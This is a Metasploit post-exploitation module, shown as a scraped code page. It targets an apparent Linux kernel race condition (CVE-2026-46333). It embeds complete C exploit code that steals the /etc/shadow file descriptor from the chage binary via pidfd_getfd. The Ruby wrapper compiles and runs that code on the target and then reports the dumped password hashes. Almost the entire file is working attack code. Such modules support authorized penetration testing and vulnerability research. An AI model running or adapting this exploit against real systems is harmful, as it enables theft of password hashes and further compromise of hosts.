Path: blob/master/modules/post/linux/gather/cve_2026_46333_chage.rb
74550 views
##1# This module requires Metasploit Framework2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::File8include Msf::Post::Linux9include Msf::Post::Linux::System10include Msf::Post::Linux::Kernel11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Linux Kernel __ptrace_may_access() Exit Race chage File Disclosure',18'Description' => %q{19This module exploits a race condition in the Linux kernel20do_exit() teardown path affecting __ptrace_may_access().2122During process termination, privileged file descriptors may23remain accessible through pidfd_getfd() after task->mm becomes24NULL, allowing sensitive file disclosure from privileged SUID25binaries such as chage.2627This module targets chage to disclose /etc/shadow.2829This module performs information disclosure only and does not30create a new session.31},32'License' => MSF_LICENSE,33'Author' => [34'0xdeadbeefnetwork', # Original POC author35'bhaskarbhar' # Metasploit module author36],37'References' => [38[ 'CVE', '2026-46333' ],39[ 'URL', 'https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn' ]40],41'Platform' => [ 'linux' ],42'SessionTypes' => [ 'shell', 'meterpreter' ],43'DisclosureDate' => '2026-05-14',44'Notes' => {45'AKA' => [ 'ssh-keysign-pwn' ],46'Stability' => [ CRASH_SAFE ],47'Reliability' => [ REPEATABLE_SESSION ],48'SideEffects' => [ ARTIFACTS_ON_DISK ]49}50)51)5253register_options([54OptString.new(55'WRITABLE_DIR',56[ true, 'Writable directory for exploit compilation', '/tmp' ]57),5859OptInt.new(60'RACE_ROUNDS',61[ true, 'Number of race attempts', 500 ]62)63])64end6566def check67version = kernel_release.to_s.strip6869if version.nil? || version.empty?70return Exploit::CheckCode::Unknown(71'Unable to determine kernel version'72)73end7475vprint_status("Detected kernel version: #{version}")7677unless command_exists?('gcc')78return Exploit::CheckCode::Unknown(79'gcc is missing; exploit cannot compile'80)81end8283unless file?('/usr/bin/chage')84return Exploit::CheckCode::Unknown(85'chage target binary not present'86)87end8889unless setuid?('/usr/bin/chage') || stat('/usr/bin/chage').setgid?90return Exploit::CheckCode::Unknown(91'chage does not appear to have SGID/SUID permissions'92)93end9495ptrace_scope = yama_ptrace_scope9697if ptrace_scope > 098vprint_warning(99"ptrace_scope=#{ptrace_scope} may reduce exploit reliability"100)101end102103clean_version = version104.split('-')105.first106.split('+')107.first108109kernel = Rex::Version.new(clean_version)110111if kernel < Rex::Version.new('5.6.0')112return Exploit::CheckCode::Safe(113"Kernel #{version} is older than vulnerable range"114)115end116117if kernel >= Rex::Version.new('6.15.0')118return Exploit::CheckCode::Detected(119"Kernel #{version} may contain vendor backports or fixes"120)121end122123Exploit::CheckCode::Appears(124"Kernel #{version} appears vulnerable to CVE-2026-46333"125)126end127128def exploit_source129<<~EOF130#define _GNU_SOURCE131132#include <stdio.h>133#include <stdlib.h>134#include <string.h>135#include <unistd.h>136#include <errno.h>137#include <fcntl.h>138#include <signal.h>139#include <sys/syscall.h>140#include <sys/wait.h>141142#ifndef __NR_pidfd_open143#define __NR_pidfd_open 434144#endif145146#ifndef __NR_pidfd_getfd147#define __NR_pidfd_getfd 438148#endif149150int main(int argc, char **argv)151{152int rounds = 500;153154if (argc > 1) {155rounds = atoi(argv[1]);156}157158for (int round = 0; round < rounds; round++) {159160pid_t child = fork();161162if (child == 0) {163164int dn = open("/dev/null", O_RDWR);165166dup2(dn, 1);167dup2(dn, 2);168169execl("/usr/bin/chage",170"chage",171"-l",172"root",173(char *)NULL);174175_exit(127);176}177178int pidfd = syscall(__NR_pidfd_open, child, 0);179180if (pidfd < 0) {181waitpid(child, NULL, 0);182continue;183}184185int stolen = -1;186187for (int attempt = 0;188attempt < 30000 && stolen < 0;189attempt++) {190191for (int fd = 3; fd < 32; fd++) {192193int s = syscall(__NR_pidfd_getfd,194pidfd,195fd,1960);197198if (s < 0) {199continue;200}201202char path[256] = {0};203char linkpath[64];204205snprintf(linkpath,206sizeof(linkpath),207"/proc/self/fd/%d",208s);209210ssize_t n = readlink(linkpath,211path,212sizeof(path) - 1);213214if (n > 0) {215path[n] = 0;216}217218if (strstr(path, "/etc/shadow")) {219220stolen = s;221222fprintf(stderr,223"[+] Stole fd %d -> %s\\n",224fd,225path);226227break;228}229230close(s);231}232}233234if (stolen >= 0) {235236char buf[8192];237238lseek(stolen, 0, SEEK_SET);239240ssize_t n;241242while ((n = read(stolen,243buf,244sizeof(buf))) > 0) {245246fwrite(buf, 1, n, stdout);247}248249close(stolen);250close(pidfd);251252waitpid(child, NULL, 0);253254return 0;255}256257close(pidfd);258259waitpid(child, NULL, 0);260}261262fprintf(stderr,263"[-] Failed after all race attempts\\n");264265return 1;266}267EOF268end269270def run271checkcode = check272273if checkcode == Exploit::CheckCode::Safe274fail_with(Failure::NotVulnerable,275'Target does not appear vulnerable')276end277278unless directory?(datastore['WRITABLE_DIR'])279fail_with(Failure::BadConfig,280'Writable directory does not exist')281end282283base = ".#{Rex::Text.rand_text_alpha(6)}"284285c_path = "#{datastore['WRITABLE_DIR']}/#{base}.c"286bin_path = "#{datastore['WRITABLE_DIR']}/#{base}"287288print_status("Writing exploit source to #{c_path}")289290write_file(c_path, exploit_source)291292register_file_for_cleanup(c_path)293294print_status('Compiling exploit payload')295296compile = create_process('gcc', args: ['-O2', c_path, '-o', bin_path], time_out: 120)297298vprint_status(compile) unless compile.nil? || compile.empty?299300unless file?(bin_path)301fail_with(Failure::Unknown,302'Exploit compilation failed')303end304305chmod(bin_path, 0o700)306307register_file_for_cleanup(bin_path)308309print_status(310"Launching race with #{datastore['RACE_ROUNDS']} attempts"311)312313output = create_process(bin_path, args: [datastore['RACE_ROUNDS'].to_s], time_out: 30)314315if output.nil? || output.empty?316fail_with(Failure::Unknown,317'Exploit returned no output')318end319320if output.include?('$')321322print_good('Successfully disclosed /etc/shadow')323324passwd_file = read_file('/etc/passwd')325report_linux_hashdump(passwd_file, output)326327print_line328print_line(output)329330else331332print_error(333'Race attempts completed but no matching /etc/shadow file descriptor was recovered'334)335336vprint_status(output)337end338end339340end341342343